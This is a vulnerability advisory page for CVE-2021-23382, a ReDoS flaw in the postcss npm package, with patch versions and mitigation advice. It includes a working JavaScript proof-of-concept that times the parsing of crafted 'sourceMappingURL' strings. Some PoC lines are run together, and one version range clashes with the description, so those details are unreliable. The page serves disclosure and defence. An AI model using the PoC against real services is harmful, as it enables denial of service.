CVE-2021-23382 is a high-severity (CVSS 7.5) CWE-1333 vulnerability in postcss. 2 public exploit or proof-of-concept references are indexed, so weaponization risk is real. A fix is available for postcss — see the affected versions and patch details below.
Regular Expression Denial of Service in postcss
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
postcssnpmDescription
The package postcss versions before 7.0.36 or between 8.0.0 and 8.2.13 are vulnerable to Regular Expression Denial of Service (ReDoS) via getAnnotationURL() and loadAnnotation() in lib/previous-map.js. The vulnerable regexes are caused mainly by the sub-pattern
\/\*\s* sourceMappingURL=(.*)
PoC
var postcss = require("postcss")
function build_attack(n) {
var ret = "a{}"
for (var i = 0; i < n; i++) {
ret += "/*# sourceMappingURL="
}
return ret + "!";
}
postcss.parse('a{}/*# sourceMappingURL=a.css.map */') for (var i = 1; i <= 500000; i++) {
if (i % 1000 == 0) {
var time = Date.now();
var attack_str = build_attack(i) try {
postcss.parse(attack_str) var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
} catch (e) {
var time_cost = Date.now() - time;
console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms");
}
}
}
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | postcss | ≥ 8.0.0&&< 8.2.13 | 8.2.13npm install postcss@8.2.13 |
| 📦npm | postcss | all versions | 7.0.36npm install postcss@7.0.36 |
Affected Products
postcsspostcssResearch use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for postcss, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update postcss to 8.2.13 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-23382 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
In Red Hat OpenShift Container Platform (RHOCP), OpenShift ServiceMesh (OSSM) and Red Hat Advanced Cluster Management for Kubernetes (RHACM) the affected containers are behind OpenShift OAuth authentication. This restricts access to the vulnerable nodejs-postcss library to authenticated users only, therefore the…
| Product | Fixed in | Advisory |
|---|---|---|
| Red Hat OpenShift Container Platform 4.8 | openshift4/ose-console:v4.8.0-202107010336.p0.git.188a490.assembly.stream | RHSA-2021:2438 |
| Red Hat Quay 3 | quay/quay-rhel8:v3.6.0-62 | RHSA-2021:3917 |
Frequently Asked Questions
Is CVE-2021-23382 in your dependencies?
Find it across npm, including transitive dependencies.